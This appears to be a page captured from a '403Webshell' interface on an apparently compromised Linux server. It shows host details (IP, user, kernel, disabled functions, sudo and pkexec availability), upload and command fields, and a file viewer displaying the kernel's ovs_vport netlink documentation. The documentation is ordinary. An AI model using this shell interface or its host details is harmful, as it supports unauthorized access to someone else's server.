403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/ynl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/ynl/ovs_vport.rst
.. LINENO 2

.. SPDX-License-Identifier: GPL-2.0
.. NOTE: This document was auto-generated.


.. _netlink-ovs_vport:


==========================================
Family ``ovs_vport`` netlink specification
==========================================


.. contents:: :depth: 3


-------
Summary
-------


OVS vport configuration over generic netlink.

----------
Operations
----------


.. LINENO 127

.. _ovs_vport-operation-new:

new
===
Create a new OVS vport

:attribute-set: :ref:`ovs_vport-attribute-set-vport`
:do:
.. LINENO 131

    **request**
        :attributes: [``name``, ``type``, ``upcall-pid``, ``ifindex``, ``options``]



.. LINENO 139

.. _ovs_vport-operation-del:

del
===
Delete existing OVS vport from a data path

:attribute-set: :ref:`ovs_vport-attribute-set-vport`
:do:
.. LINENO 143

    **request**
        :attributes: [``port-no``, ``type``, ``name``]



.. LINENO 149

.. _ovs_vport-operation-get:

get
===
Get / dump OVS vport configuration and state

:attribute-set: :ref:`ovs_vport-attribute-set-vport`
:do:
.. LINENO 152

    **request**
        :attributes: [``name``]

    **reply**
        :attributes: [``port-no``, ``type``, ``name``, ``upcall-pid``, ``stats``, ``ifindex``, ``netnsid``, ``upcall-stats``]

:dump:
.. LINENO 152

    **request**
        :attributes: [``name``]

    **reply**
        :attributes: [``port-no``, ``type``, ``name``, ``upcall-pid``, ``stats``, ``ifindex``, ``netnsid``, ``upcall-stats``]




----------------
Multicast groups
----------------


- ovs_vport

-----------
Definitions
-----------


.. LINENO 12

.. _ovs_vport-definition-ovs-header:

ovs-header
==========
:type: struct


:members:
    :dp-ifindex (``u32``): 


.. LINENO 19

.. _ovs_vport-definition-vport-type:

vport-type
==========
:type: enum
:enum-name: ovs-vport-type
:name-prefix: ovs-vport-type-


:entries:
    - ``unspec``
    - ``netdev``
    - ``internal``
    - ``gre``
    - ``vxlan``
    - ``geneve``


.. LINENO 25

.. _ovs_vport-definition-ovs-vport-stats:

ovs-vport-stats
===============
:type: struct


:members:
    :rx-packets (``u64``): 
    :tx-packets (``u64``): 
    :rx-bytes (``u64``): 
    :tx-bytes (``u64``): 
    :rx-errors (``u64``): 
    :tx-errors (``u64``): 
    :rx-dropped (``u64``): 
    :tx-dropped (``u64``): 



--------------
Attribute sets
--------------


.. _ovs_vport-attribute-set-vport-options:

vport-options
=============
.. LINENO 60

dst-port (``u32``)
~~~~~~~~~~~~~~~~~~


.. LINENO 63

extension (``u32``)
~~~~~~~~~~~~~~~~~~~


.. _ovs_vport-attribute-set-upcall-stats:

upcall-stats
============
.. LINENO 71

success (``u64``)
~~~~~~~~~~~~~~~~~
:value: 0


.. LINENO 75

fail (``u64``)
~~~~~~~~~~~~~~


.. _ovs_vport-attribute-set-vport:

vport
=====
.. LINENO 83

unspec (``unused``)
~~~~~~~~~~~~~~~~~~~
:value: 0


.. LINENO 87

port-no (``u32``)
~~~~~~~~~~~~~~~~~


.. LINENO 90

type (``u32``)
~~~~~~~~~~~~~~
:enum: :ref:`ovs_vport-definition-vport-type`


.. LINENO 94

name (``string``)
~~~~~~~~~~~~~~~~~


.. LINENO 97

options (``nest``)
~~~~~~~~~~~~~~~~~~
:nested-attributes: :ref:`ovs_vport-attribute-set-vport-options`


.. LINENO 101

upcall-pid (``binary``)
~~~~~~~~~~~~~~~~~~~~~~~
:sub-type: u32


.. LINENO 105

stats (``binary``)
~~~~~~~~~~~~~~~~~~
:struct: :ref:`ovs_vport-definition-ovs-vport-stats`


.. LINENO 109

pad (``unused``)
~~~~~~~~~~~~~~~~


.. LINENO 112

ifindex (``u32``)
~~~~~~~~~~~~~~~~~


.. LINENO 115

netnsid (``u32``)
~~~~~~~~~~~~~~~~~


.. LINENO 118

upcall-stats (``nest``)
~~~~~~~~~~~~~~~~~~~~~~~
:nested-attributes: :ref:`ovs_vport-attribute-set-upcall-stats`


Youez - 2016 - github.com/yon3zu
LinuXploit